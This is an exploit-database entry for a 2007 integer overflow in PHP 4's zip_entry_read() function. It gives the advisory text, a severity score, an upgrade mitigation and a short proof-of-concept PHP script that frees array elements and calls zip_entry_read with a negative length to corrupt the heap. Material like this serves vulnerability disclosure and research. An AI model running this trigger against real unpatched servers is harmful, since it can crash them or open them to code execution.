PHP integer-overflow vulnerability leading to heap-based buffer overflow

vendor:

PHP

by:

Stefan Esser

7.5

CVSS

HIGH

Integer-overflow

Integer Overflow

CWE

Product Name: PHP

Affected Version From: Prior to PHP 4.4.5

Affected Version To:

Patch Exists: YES

Related CWE:

CPE: a:php:php

Metasploit:

Other Scripts:

Platforms Tested:

2007

PHP integer-overflow vulnerability leading to heap-based buffer overflow

PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a heap-based buffer overflow. Exploiting this issue may allow attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

Mitigation:

Upgrade to PHP version 4.4.5 or later

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/23169/info

PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a heap-based buffer overflow.

Exploiting this issue may allow attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects versions prior to PHP 4.4.5.

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP 4 zip_entry_read() Integer Overflow Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  $r = zip_open("x.zip");
  $e = zip_read($r);
  $x = zip_entry_open($r, $e);


  for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
  unset($arr[600]);
  
  zip_entry_read($e, -1);
  
  unset($arr[601]);
?>